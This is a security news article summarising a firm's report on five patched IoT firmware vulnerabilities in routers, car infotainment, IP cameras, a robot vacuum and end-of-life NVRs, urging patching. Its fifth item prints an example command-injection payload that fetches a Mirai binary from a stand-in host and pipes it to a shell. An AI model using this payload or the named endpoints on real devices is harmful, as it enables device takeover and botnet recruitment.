ZIENTotal device takeover achievable via simple web requests
Threats to IoT device security intensifying… “Time to rethink cybersecurity”
ZIEN, a convergence security firm specializing in Extended Internet of Things (XIoT), has just published its latest insight: “Top 5 Critical Firmware Vulnerabilities in H1 2025.” The report spotlights five high‑risk firmware flaws drawn from publicly released CVEs, detailing real‑world attack methods and potential damage across a variety of devices—from home routers and in‑vehicle infotainment systems to enterprise‑grade IP cameras and robot vacuums.
Established in 2021 by former white‑hat hacker Cho Young‑min, ZIEN delivers XIoT security solutions across sectors like smart homes, smart factories, mobility, and smart cities. The company’s expertise ensures secure real‑world environments where IoT devices operate reliably and resiliently.
ZIEN garnered attention last year by live‑demonstrating attacks on Chinese IoT devices during South Korea’s National Assembly ICT audit. It also received praise from the global Pwn2Own organizers after reporting vulnerabilities in vehicle infotainment systems.
In its H1 2025 report, ZIEN’s Security Research Team emphasizes two major trends: expanded attack surface and weak baseline security. Key vulnerabilities include authentication bypass, insufficient input validation, and risks stemming from EOL devices that no longer receive security updates.
*All vulnerabilities below are publicly disclosed CVEs with patches already available.
① Company A Home Router – Remote Code Execution
Severity: 9.8 (Critical)
Company A's widely-used home Wi-Fi router contains a critical flaw in the PPPoE configuration interface, where input values are not properly sanitized. This allows an attacker to execute arbitrary commands without any authentication, gaining full control over the device through a single web request.
The vulnerability lies in the /goform/QuickIndex API. By submitting an overly long input in the PPPOEPassword parameter, an attacker causes a stack-based buffer overflow, resulting in the execution of malicious code. Since no authentication is required, the attack surface is wide open.
Once compromised, the router can be remotely manipulated via POST requests containing malicious syntax. This allows adversaries to monitor traffic, redirect users to phishing pages, or block access to specific sites. The attack can further escalate to privacy invasion, credential theft, or even the spread of ransomware—making prompt patch application critical.
② Company B Vehicle IVI System – Remote File Creation
Severity: 8.0 (High)
Company B’s in-vehicle infotainment system (IVI), which handles music and navigation functions, was found to have a vulnerability in how it processes files from external servers. When downloading data (e.g., album info via the Gracenote API), the system fails to validate file paths, allowing attackers to overwrite system-critical files using directory traversal techniques like ../../../.
By intercepting or spoofing server responses when the car connects to a public Wi-Fi network, attackers can upload malicious files that execute upon system reboot. These files run with root privileges, possibly leading to UI malfunctions or full system paralysis.
The vulnerability exposes the vehicle to significant safety and operational risks. ZIEN recommends integrating OTA integrity verification and enhancing IVI system access control mechanisms to mitigate such threats.
③ Company C IP Camera – Remote Command Execution
Severity: 9.8 (Critical)
Company C’s IP cameras, used in homes and offices, were found to allow command injection through a vulnerability in the /camera-cgi/admin/param.cgi API. The device lacks proper validation for user-supplied input in its time sync settings.
Attackers can submit system commands such as wget or sh to have the camera download and execute malicious code remotely—without any authentication. This has already been exploited in the wild by botnets like Mirai to take over cameras and use them in DDoS or lateral movement attacks.
The threat is compounded by the ability to stream or manipulate live feeds, breach privacy, and turn the camera into an attack node targeting internal or external infrastructure. Immediate firmware updates are essential.
④ Company D Robot Vacuum – Cloud Authentication Bypass
Severity: 6.5 (Medium)
Several robot vacuum models from Company D feature camera and microphone-based indoor monitoring, protected by PIN-based authentication within the mobile app. However, ZIEN uncovered that the server-side logic does not enforce this authentication during WebRTC-based cloud streaming requests.
Even if a user sets a PIN, the actual streaming API bypasses this check. Attackers who obtain a valid session token via app vulnerabilities or social engineering can access real-time footage without entering the PIN.
This opens the door to covert indoor surveillance and privacy breaches. ZIEN urges a structural redesign of authentication flows for all IoT devices using remote streaming features.
⑤ Company E EOL Cameras & NVRs – Command Injection
Severity: 9.8 (Critical)
Devices from Company E—including IP cameras and NVRs that have reached End-of-Life—remain in active use despite no longer receiving security updates. A serious vulnerability in /DateSetting.cgi allows attackers to inject system commands via time-setting fields, again with no authentication required.
Example payload: szSrvIpAddr=time.windows.com;wget <http://malicious.site/mirai> -O- | sh
Hackers scan IP ranges to find these exposed devices and push malicious scripts, effectively enlisting them into botnets or using them to breach internal networks. Due to their role in physical security systems, their compromise can lead to cascading organizational risks.
The vulnerabilities disclosed by ZIEN reveal a critical trend: total system takeover is now possible through basic, unauthenticated web requests, often due to oversights in input validation, improper access controls, or continued use of unsupported devices.
Cho Young-min, CEO of ZIEN, stated: “IoT security risks are no longer hypothetical—they are real, immediate threats with tangible consequences. We hope this report urges businesses and individuals to reexamine the importance of security hygiene in their connected environments.”
🔗 Read the full report: https://zi-en.io/resources/tech/76
Source: Chosun Biz